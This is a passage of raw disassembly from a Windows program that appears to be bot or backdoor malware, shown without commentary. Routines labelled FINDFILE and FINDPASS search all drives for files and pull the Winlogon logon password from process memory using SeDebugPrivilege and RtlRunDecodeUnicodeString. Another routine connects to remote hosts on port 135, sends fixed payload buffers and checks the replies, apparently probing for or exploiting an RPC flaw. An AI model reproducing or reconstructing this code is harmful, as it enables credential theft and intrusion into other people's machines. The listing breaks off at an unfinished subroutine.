retn sub_4057E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058B3 proc near ; CODE XREF: sub_40C50A+57CCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4058D4 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4057E1 add esp, 10h jmp short loc_405935 ; --------------------------------------------------------------------------- loc_4058D4: ; CODE XREF: sub_4058B3+9j push esi push edi push ebx push ebx call dword_44B630 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_416A10 pop ecx mov edi, eax push edi push esi call dword_44B630 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_40592C loc_4058F8: ; CODE XREF: sub_4058B3+77j push offset aA ; "A:\\" push esi call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40591B push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4057E1 add esp, 10h loc_40591B: ; CODE XREF: sub_4058B3+54j push esi call sub_418E70 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_4058F8 loc_40592C: ; CODE XREF: sub_4058B3+43j push edi call sub_417480 pop ecx pop edi pop esi loc_405935: ; CODE XREF: sub_4058B3+1Fj pop ebx pop ebp retn sub_4058B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405938 proc near ; DATA XREF: sub_40BBCB+14o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_44D064 call dword_44B758 ; closesocket call sub_4163B4 call dword_44B620 ; WSACleanup call dword_44B620 ; WSACleanup mov ebx, ds:dword_4942D8 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_4189A0 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_4189A0 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_449D24 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_494320 lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_4942F8 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_494330 test eax, eax jz short loc_4059FD push 64h call ebx push [ebp+var_10] mov esi, ds:dword_4942E0 call esi push [ebp+var_C] call esi loc_4059FD: ; CODE XREF: sub_405938+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_449D1C mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call ds:dword_49432C pop edi pop esi pop ebx sub_405938 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A20 proc near ; DATA XREF: sub_40C50A+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_418E70 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_405A75 lea eax, [ebp+var_114] push eax call sub_418E70 pop ecx mov [ebp+eax+var_115], bl loc_405A75: ; CODE XREF: sub_405A20+3Fj lea eax, [ebp+var_218] push eax push offset aFindfileSearch ; "[FINDFILE]: Searching for file: %s." lea eax, [ebp+var_49C] push 200h push eax call sub_418EF0 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_405ABA push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40842D add esp, 14h loc_405ABA: ; CODE XREF: sub_405A20+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_405B38 push eax lea eax, [ebp+var_49C] push offset aFindfileFilesF ; "[FINDFILE]: Files found: %d." push eax call sub_418D70 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_405B18 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40842D add esp, 14h loc_405B18: ; CODE XREF: sub_405A20+D6j lea eax, [ebp+var_49C] push eax call sub_4035E1 push [ebp+var_10] call sub_416507 pop ecx pop ecx push ebx call ds:dword_4942FC pop edi pop esi pop ebx sub_405A20 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B38 proc near ; CODE XREF: sub_405A20+B9p ; sub_405B38+9Cp var_548 = byte ptr -548h var_348 = byte ptr -348h var_244 = byte ptr -244h var_140 = byte ptr -140h var_114 = byte ptr -114h var_113 = byte ptr -113h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 548h push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_244] push offset aS_1 ; "%s\\*" push esi push eax call sub_418EF0 mov edi, ds:dword_49433C add esp, 10h lea eax, [ebp+var_140] push eax lea eax, [ebp+var_244] push eax call edi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405BF1 loc_405B7E: ; CODE XREF: sub_405B38+B7j test [ebp+var_140], 10h jz short loc_405BDF cmp [ebp+var_114], 2Eh jnz short loc_405BA2 cmp [ebp+var_113], 0 jz short loc_405BDF cmp [ebp+var_113], 2Eh jz short loc_405BDF loc_405BA2: ; CODE XREF: sub_405B38+56j lea eax, [ebp+var_114] push eax lea eax, [ebp+var_348] push [ebp+arg_10] push offset aSS_1 ; "%s\\%s" push esi push eax call sub_418EF0 push [ebp+arg_14] lea eax, [ebp+var_348] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_405B38 add esp, 2Ch mov [ebp+arg_14], eax loc_405BDF: ; CODE XREF: sub_405B38+4Dj ; sub_405B38+5Fj ... lea eax, [ebp+var_140] push eax push ebx call ds:dword_494338 test eax, eax jnz short loc_405B7E loc_405BF1: ; CODE XREF: sub_405B38+44j push ebx mov ebx, ds:dword_494334 call ebx push [ebp+arg_C] lea eax, [ebp+var_244] push [ebp+arg_10] push offset aSS_2 ; "%s\\%s" push esi push eax call sub_418EF0 add esp, 14h lea eax, [ebp+var_140] push eax lea eax, [ebp+var_244] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_405C7B loc_405C2C: ; CODE XREF: sub_405B38+141j lea eax, [ebp+var_114] inc [ebp+arg_14] push eax lea eax, [ebp+var_548] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_418EF0 push 1 lea eax, [ebp+var_548] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 28h lea eax, [ebp+var_140] push eax push esi call ds:dword_494338 test eax, eax jnz short loc_405C2C loc_405C7B: ; CODE XREF: sub_405B38+F2j push esi call ebx mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_405B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C86 proc near ; DATA XREF: sub_40C50A+5238o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_4152DC cmp eax, esi mov [ebp+var_4], eax jz short loc_405CC5 cmp eax, 2 jz short loc_405CC5 push offset aFindpassOnlySu ; "[FINDPASS]: Only supported on Windows N"... jmp loc_405E04 ; --------------------------------------------------------------------------- loc_405CC5: ; CODE XREF: sub_405C86+2Ej ; sub_405C86+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40B487 pop ecx test eax, eax pop ecx jz loc_405DFF push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_49434C mov esi, ds:dword_494348 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_44AF34, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_44AF28, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_44B138, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_44AF30, eax call esi mov dword_44AF2C, eax call sub_405E58 test eax, eax mov [ebp+arg_0], eax jz loc_405DD2 mov esi, ds:dword_494344 mov edi, 400h mov ebx, offset dword_449F28 push edi push ebx push offset aUsername ; "USERNAME" call esi push edi mov edi, offset dword_44A728 push edi push offset aUserdomain ; "USERDOMAIN" call esi cmp [ebp+var_4], 1 push offset dword_44B140 push [ebp+arg_0] jnz short loc_405D7E call sub_405FE1 jmp short loc_405D83 ; --------------------------------------------------------------------------- loc_405D7E: ; CODE XREF: sub_405C86+EFj call sub_406188 loc_405D83: ; CODE XREF: sub_405C86+F6j pop ecx test eax, eax pop ecx jz short loc_405DCB cmp dword_44B140, 0 jnz short loc_405DB2 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset aFindpassTheWin ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push eax call sub_418EF0 add esp, 18h jmp short loc_405DE5 ; --------------------------------------------------------------------------- loc_405DB2: ; CODE XREF: sub_405C86+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_405DC2 call sub_4062BE jmp short loc_405DC7 ; --------------------------------------------------------------------------- loc_405DC2: ; CODE XREF: sub_405C86+133j call sub_406355 loc_405DC7: ; CODE XREF: sub_405C86+13Aj pop ecx push eax jmp short loc_405DD7 ; --------------------------------------------------------------------------- loc_405DCB: ; CODE XREF: sub_405C86+101j push offset aFindpassUnable ; "[FINDPASS]: Unable to find the password"... jmp short loc_405DD7 ; --------------------------------------------------------------------------- loc_405DD2: ; CODE XREF: sub_405C86+B6j push offset aFindpassUnab_0 ; "[FINDPASS]: Unable to find Winlogon Pro"... loc_405DD7: ; CODE XREF: sub_405C86+143j ; sub_405C86+14Aj lea eax, [ebp+var_29C] push eax call sub_418D70 pop ecx pop ecx loc_405DE5: ; CODE XREF: sub_405C86+12Aj push 0 push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_40B487 pop ecx pop ecx push [ebp+var_8] call ds:dword_494340 pop ebx jmp short loc_405E12 ; --------------------------------------------------------------------------- loc_405DFF: ; CODE XREF: sub_405C86+4Ej push offset aFindpassFailed ; "[FINDPASS]: Failed to enable Debug Priv"... loc_405E04: ; CODE XREF: sub_405C86+3Aj lea eax, [ebp+var_29C] push eax call sub_418D70 pop ecx pop ecx loc_405E12: ; CODE XREF: sub_405C86+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_405E39 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40842D add esp, 14h loc_405E39: ; CODE XREF: sub_405C86+191j lea eax, [ebp+var_29C] push eax call sub_4035E1 push [ebp+var_18] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC pop edi pop esi sub_405C86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405E58 proc near ; CODE XREF: sub_405C86+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_494358 mov ebx, 100h push edi push ebx push 8 call esi mov edi, ds:dword_494354 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_44AF34 push ebp push 0 call esi push eax call ds:dword_494350 push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_44AF34 test eax, eax jnz short loc_405F45 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_405F45 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_405F45 loc_405EE1: ; CODE XREF: sub_405E58+EBj cmp word ptr [ebx+8], 5 jnz short loc_405F38 push 0 push 0 call dword_44AF28 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_44B138 test eax, eax jnz short loc_405F29 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41A5E0 pop ecx push eax call sub_419AB0 pop ecx test eax, eax pop ecx jnz short loc_405F5D loc_405F29: ; CODE XREF: sub_405E58+AAj test edi, edi jz short loc_405F34 push edi call dword_44AF30 loc_405F34: ; CODE XREF: sub_405E58+D3j mov eax, [esp+28h+var_10] loc_405F38: ; CODE XREF: sub_405E58+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_405EE1 loc_405F45: ; CODE XREF: sub_405E58+6Dj ; sub_405E58+7Aj ... xor edi, edi loc_405F47: ; CODE XREF: sub_405E58+17Dj push ebp push 0 call esi push eax call ds:dword_494350 mov eax, edi loc_405F55: ; CODE XREF: sub_405E58+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_405F5D: ; CODE XREF: sub_405E58+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_405FC6 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_405F73: ; CODE XREF: sub_405E58+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41A5E0 pop ecx push eax call sub_419AB0 pop ecx test eax, eax pop ecx jnz short loc_405FDA push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41A5E0 pop ecx push eax call sub_419AB0 pop ecx test eax, eax pop ecx jnz short loc_405FB8 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_405FB8: ; CODE XREF: sub_405E58+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_405F73 loc_405FC6: ; CODE XREF: sub_405E58+10Fj test edi, edi jz short loc_405FD1 push edi call dword_44AF30 loc_405FD1: ; CODE XREF: sub_405E58+170j mov edi, [esp+28h+var_4] jmp loc_405F47 ; --------------------------------------------------------------------------- loc_405FDA: ; CODE XREF: sub_405E58+13Cj xor eax, eax jmp loc_405F55 sub_405E58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FE1 proc near ; CODE XREF: sub_405C86+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_494370 cmp eax, esi mov [ebp+var_4], eax jnz short loc_40600A xor eax, eax jmp loc_406185 ; --------------------------------------------------------------------------- loc_40600A: ; CODE XREF: sub_405FE1+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_49436C push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_494358 push 8 call esi mov edi, ds:dword_494354 push eax call edi lea ecx, [ebp+var_8] mov ebx, ds:dword_494368 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40605A xor esi, esi jmp loc_406178 ; --------------------------------------------------------------------------- loc_40605A: ; CODE XREF: sub_405FE1+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_494364 test eax, eax jz loc_406167 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_406167 test [ebp+var_2B], 1 jnz loc_406167 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_406167 loc_4060BD: ; CODE XREF: sub_405FE1+112j push edi push offset dword_449F28 call sub_431000 pop ecx test eax, eax pop ecx jnz short loc_4060E5 lea eax, [edi+200h] push eax push offset dword_44A728 call sub_431000 pop ecx test eax, eax pop ecx jz short loc_4060F5 loc_4060E5: ; CODE XREF: sub_405FE1+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_406167 jmp short loc_4060BD ; --------------------------------------------------------------------------- loc_4060F5: ; CODE XREF: sub_405FE1+102j test edi, edi jz short loc_406167 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_494360 test eax, eax jz short loc_406130 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_49435C test eax, eax jz short loc_406130 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_406130: ; CODE XREF: sub_405FE1+12Bj ; sub_405FE1+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_44B14C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_44B144, eax mov dword_44B148, edi loc_406167: ; CODE XREF: sub_405FE1+90j ; sub_405FE1+A2j ... push [ebp+arg_0] push 0 call esi push eax call ds:dword_494350 mov esi, [ebp+var_10] loc_406178: ; CODE XREF: sub_405FE1+74j push [ebp+var_4] call ds:dword_4942E0 pop edi mov eax, esi pop ebx loc_406185: ; CODE XREF: sub_405FE1+24j pop esi leave retn sub_405FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406188 proc near ; CODE XREF: sub_405C86:loc_405D7Ep var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_494370 test eax, eax mov [ebp+arg_0], eax jz loc_40627A mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_49436C mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_406271 mov edi, ds:dword_494358 loc_4061D3: ; CODE XREF: sub_406188+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_494364 test eax, eax jz short loc_40625F mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_406265 test [ebp+var_13], 1 jnz short loc_406265 push ecx push 8 call edi push eax call ds:dword_494354 mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_494368 test eax, eax jz short loc_406251 push offset dword_449F28 push esi call sub_431000 pop ecx test eax, eax pop ecx jnz short loc_406251 lea eax, [esi+400h] push offset dword_44A728 push eax call sub_431000 pop ecx test eax, eax pop ecx jz short loc_406281 loc_406251: ; CODE XREF: sub_406188+9Fj ; sub_406188+B0j push esi push 0 call edi push eax call ds:dword_494350 jmp short loc_406265 ; --------------------------------------------------------------------------- loc_40625F: ; CODE XREF: sub_406188+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_406265: ; CODE XREF: sub_406188+71j ; sub_406188+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4061D3 loc_406271: ; CODE XREF: sub_406188+3Fj push [ebp+arg_0] call ds:dword_4942E0 loc_40627A: ; CODE XREF: sub_406188+1Ej xor eax, eax loc_40627C: ; CODE XREF: sub_406188+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_406281: ; CODE XREF: sub_406188+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_44B144, ebx mov dword_44B148, eax cmp [eax], cl jnz short loc_4062A3 cmp [eax+1], cl jz short loc_4062AB loc_4062A3: ; CODE XREF: sub_406188+114j ; sub_406188+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4062A3 loc_4062AB: ; CODE XREF: sub_406188+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:dword_4942E0 push 1 pop eax jmp short loc_40627C sub_406188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062BE proc near ; CODE XREF: sub_405C86+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_44B140 push esi mov esi, ds:dword_494358 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call ds:dword_494354 mov ecx, dword_44B140 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_44B148 push eax call sub_418A00 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_44B14C push eax call dword_44AF2C push [ebp+var_4] mov edi, offset dword_44AF38 push offset dword_449F28 push offset dword_44A728 push [ebp+arg_0] push offset aFindpassTheW_0 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push 200h push edi call sub_418EF0 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call ds:dword_494350 mov eax, edi pop edi pop esi leave retn sub_4062BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406355 proc near ; CODE XREF: sub_405C86:loc_405DC2p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_44B140 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_494358 push eax call ds:dword_494354 and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_44A728 mov edi, 200h mov esi, offset dword_449D28 loc_40639B: ; CODE XREF: sub_406355+FAj mov eax, dword_44B140 add eax, eax push eax push dword_44B148 push [ebp+var_14] call sub_418A00 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_44AF2C mov eax, dword_44B140 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_406410 loc_4063D8: ; CODE XREF: sub_406355+B3j cmp [ebp+var_8], 0 jz short loc_40642D mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4063FC cmp byte ptr [ecx+1], 0 jnz short loc_4063FC cmp dl, 20h jnb short loc_4063F6 and [ebp+var_8], 0 loc_4063F6: ; CODE XREF: sub_406355+9Bj cmp [ebp+var_1], 7Eh jbe short loc_406400 loc_4063FC: ; CODE XREF: sub_406355+90j ; sub_406355+96j and [ebp+var_8], 0 loc_406400: ; CODE XREF: sub_406355+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4063D8 cmp [ebp+var_8], 0 jz short loc_40642D loc_406410: ; CODE XREF: sub_406355+81j push [ebp+var_14] push offset dword_449F28 push ebx push [ebp+arg_0] push offset aFindpassTheW_1 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push edi push esi call sub_418EF0 add esp, 1Ch jmp short loc_406445 ; --------------------------------------------------------------------------- loc_40642D: ; CODE XREF: sub_406355+87j ; sub_406355+B9j push offset dword_449F28 push ebx push [ebp+arg_0] push offset aFindpassTheW_2 ; "[FINDPASS]: The Windows logon (Pid: <%d"... push edi push esi call sub_418EF0 add esp, 18h loc_406445: ; CODE XREF: sub_406355+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40639B push [ebp+var_14] push 0 call ds:dword_494358 push eax call ds:dword_494350 mov eax, esi pop edi pop esi pop ebx leave retn sub_406355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40646E proc near ; CODE XREF: sub_4064A6+125p ; sub_4064A6+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40649C loc_40647F: ; CODE XREF: sub_40646E+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41A7A0 add esp, 0Ch test eax, eax jz short loc_4064A2 inc esi cmp esi, edi jl short loc_40647F loc_40649C: ; CODE XREF: sub_40646E+Fj xor al, al loc_40649E: ; CODE XREF: sub_40646E+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4064A2: ; CODE XREF: sub_40646E+27j mov al, 1 jmp short loc_40649E sub_40646E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064A6 proc near ; CODE XREF: sub_4013F1+8Bp ; sub_4013F1+174p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_418D40 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4064E7 dec eax jz short loc_4064C5 dec eax loc_4064BF: ; CODE XREF: sub_4064A6+57j xor eax, eax loc_4064C1: ; CODE XREF: sub_4064A6+3Fj ; sub_4064A6+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4064C5: ; CODE XREF: sub_4064A6+16j push 3 push 1388h push [ebp+arg_0] call dword_44B700 ; inet_addr push eax call sub_402E0C add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4064C1 ; --------------------------------------------------------------------------- loc_4064E7: ; CODE XREF: sub_4064A6+13j push 6 push 1 push 2 call dword_44B740 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4064BF push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_44B6C0 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call sub_40AED0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_44B668 ; connect cmp eax, edi jz loc_406603 push ebx push 48h push offset dword_438570 push esi call dword_44B710 ; send cmp eax, edi jz loc_406603 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_44B6D8 ; recv cmp eax, edi jz loc_406603 cmp [ebp+var_200E], 0Ch jnz short loc_406603 push ebx push 18h push offset dword_4385BC push [ebp+arg_4] call dword_44B710 ; send cmp eax, edi jz short loc_406603 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_44B6D8 ; recv mov esi, eax cmp esi, edi jz short loc_406603 cmp [ebp+var_200E], 2 jnz short loc_406603 push 10h push offset dword_4385D8 lea eax, [ebp+var_2010] push esi push eax call sub_40646E add esp, 10h test al, al jz short loc_4065E3 cmp esi, 12Ch setnl bl inc ebx jmp short loc_406603 ; --------------------------------------------------------------------------- loc_4065E3: ; CODE XREF: sub_4064A6+12Fj push 10h push offset dword_4385EC lea eax, [ebp+var_2010] push esi push eax call sub_40646E add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_406603: ; CODE XREF: sub_4064A6+9Bj ; sub_4064A6+B2j ... push [ebp+arg_4] call dword_44B758 ; closesocket mov eax, ebx pop ebx jmp loc_4064C1 sub_4064A6 endp ; =============== S U B R O U T I N E ======================================= ; 